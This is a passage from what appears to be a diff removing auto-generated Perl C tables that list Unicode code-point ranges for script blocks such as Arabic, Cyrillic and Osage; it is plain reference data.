0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE1, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B002, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F6D3, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F7, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F910, - 0x1F91F, - 0x1F920, - 0x1F928, - 0x1F930, - 0x1F931, - 0x1F933, - 0x1F93F, - 0x1F940, - 0x1F94C, - 0x1F950, - 0x1F95F, - 0x1F980, - 0x1F992, - 0x1F9C0, - 0x1F9C1, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_INADLAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1E900, - 0x1E960 -}; - -static const UV PL_INAHOM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11700, - 0x11740 -}; - -static const UV PL_INANATOLIANHIEROGLYPHS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x14400, - 0x14680 -}; - -static const UV PL_INARABIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x600, - 0x700 -}; - -static const UV PL_INARMENIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x530, - 0x590 -}; - -static const UV PL_INAVESTAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B00, - 0x10B40 -}; - -static const UV PL_INBALINESE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B00, - 0x1B80 -}; - -static const UV PL_INBAMUM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA6A0, - 0xA700 -}; - -static const UV PL_INBASSAVAH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16AD0, - 0x16B00 -}; - -static const UV PL_INBATAK_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1BC0, - 0x1C00 -}; - -static const UV PL_INBENGALI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x980, - 0xA00 -}; - -static const UV PL_INBHAIKSUKI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11C00, - 0x11C70 -}; - -static const UV PL_INBOPOMOFO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3100, - 0x3130 -}; - -static const UV PL_INBRAHMI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11000, - 0x11080 -}; - -static const UV PL_INBUGINESE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1A00, - 0x1A20 -}; - -static const UV PL_INBUHID_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1740, - 0x1760 -}; - -static const UV PL_INCARIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x102A0, - 0x102E0 -}; - -static const UV PL_INCAUCASIANALBANIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10530, - 0x10570 -}; - -static const UV PL_INCHAKMA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11100, - 0x11150 -}; - -static const UV PL_INCHAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA00, - 0xAA60 -}; - -static const UV PL_INCHEROKEE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x13A0, - 0x1400 -}; - -static const UV PL_INCOPTIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C80, - 0x2D00 -}; - -static const UV PL_INCUNEIFORM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x12000, - 0x12400 -}; - -static const UV PL_INCYRILLIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x400, - 0x500 -}; - -static const UV PL_INDEVANAGARI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x900, - 0x980 -}; - -static const UV PL_INDICNUMBERFORMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA830, - 0xA840 -}; - -static const UV PL_INDUPLOYAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1BC00, - 0x1BCA0 -}; - -static const UV PL_INEGYPTIANHIEROGLYPHS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x13000, - 0x13430 -}; - -static const UV PL_INELBASAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10500, - 0x10530 -}; - -static const UV PL_INETHIOPIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1200, - 0x1380 -}; - -static const UV PL_INGEORGIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10A0, - 0x1100 -}; - -static const UV PL_INGLAGOLITIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C00, - 0x2C60 -}; - -static const UV PL_INGOTHIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10330, - 0x10350 -}; - -static const UV PL_INGRANTHA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11300, - 0x11380 -}; - -static const UV PL_INGREEK_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x370, - 0x400 -}; - -static const UV PL_INGUJARATI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA80, - 0xB00 -}; - -static const UV PL_INGURMUKHI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA00, - 0xA80 -}; - -static const UV PL_INHANGUL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAC00, - 0xD7B0 -}; - -static const UV PL_INHANUNOO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1720, - 0x1740 -}; - -static const UV PL_INHATRAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x108E0, - 0x10900 -}; - -static const UV PL_INHEBREW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x590, - 0x600 -}; - -static const UV PL_INHIRAGANA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3040, - 0x30A0 -}; - -static const UV PL_INIDC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2FF0, - 0x3000 -}; - -static const UV PL_INIMPERIALARAMAIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10840, - 0x10860 -}; - -static const UV PL_ININSCRIPTIONALPAHLAVI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B60, - 0x10B80 -}; - -static const UV PL_ININSCRIPTIONALPARTHIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B40, - 0x10B60 -}; - -static const UV PL_INJAVANESE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA980, - 0xA9E0 -}; - -static const UV PL_INKAITHI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11080, - 0x110D0 -}; - -static const UV PL_INKANNADA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC80, - 0xD00 -}; - -static const UV PL_INKATAKANA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30A0, - 0x3100 -}; - -static const UV PL_INKHAROSHTHI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10A00, - 0x10A60 -}; - -static const UV PL_INKHMER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1780, - 0x1800 -}; - -static const UV PL_INKHOJKI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11200, - 0x11250 -}; - -static const UV PL_INKHUDAWADI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x112B0, - 0x11300 -}; - -static const UV PL_INLAO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE80, - 0xF00 -}; - -static const UV PL_INLEPCHA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1C00, - 0x1C50 -}; - -static const UV PL_INLIMBU_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1900, - 0x1950 -}; - -static const UV PL_INLINEARA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10600, - 0x10780 -}; - -static const UV PL_INLYCIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10280, - 0x102A0 -}; - -static const UV PL_INLYDIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10920, - 0x10940 -}; - -static const UV PL_INMAHAJANI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11150, - 0x11180 -}; - -static const UV PL_INMALAYALAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD00, - 0xD80 -}; - -static const UV PL_INMANDAIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x840, - 0x860 -}; - -static const UV PL_INMANICHAEAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC0, - 0x10B00 -}; - -static const UV PL_INMARCHEN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11C70, - 0x11CC0 -}; - -static const UV PL_INMASARAMGONDI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11D00, - 0x11D60 -}; - -static const UV PL_INMEETEIMAYEK_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xABC0, - 0xAC00 -}; - -static const UV PL_INMENDEKIKAKUI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1E800, - 0x1E8E0 -}; - -static const UV PL_INMEROITICCURSIVE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109A0, - 0x10A00 -}; - -static const UV PL_INMIAO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16F00, - 0x16FA0 -}; - -static const UV PL_INMODI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11600, - 0x11660 -}; - -static const UV PL_INMONGOLIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1800, - 0x18B0 -}; - -static const UV PL_INMRO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16A40, - 0x16A70 -}; - -static const UV PL_INMULTANI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11280, - 0x112B0 -}; - -static const UV PL_INMYANMAR_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1000, - 0x10A0 -}; - -static const UV PL_INNABATAEAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10880, - 0x108B0 -}; - -static const UV PL_INNEWA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11400, - 0x11480 -}; - -static const UV PL_INNEWTAILUE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1980, - 0x19E0 -}; - -static const UV PL_INNKO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7C0, - 0x800 -}; - -static const UV PL_INNUSHU_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B170, - 0x1B300 -}; - -static const UV PL_INOGHAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1680, - 0x16A0 -}; - -static const UV PL_INOLDHUNGARIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10C80, - 0x10D00 -}; - -static const UV PL_INOLDITALIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10300, - 0x10330 -}; - -static const UV PL_INOLDPERMIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10350, - 0x10380 -}; - -static const UV PL_INOLDPERSIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x103A0, - 0x103E0 -}; - -static const UV PL_INOLDTURKIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10C00, - 0x10C50 -}; - -static const UV PL_INORIYA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB00, - 0xB80 -}; - -static const UV PL_INOSAGE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 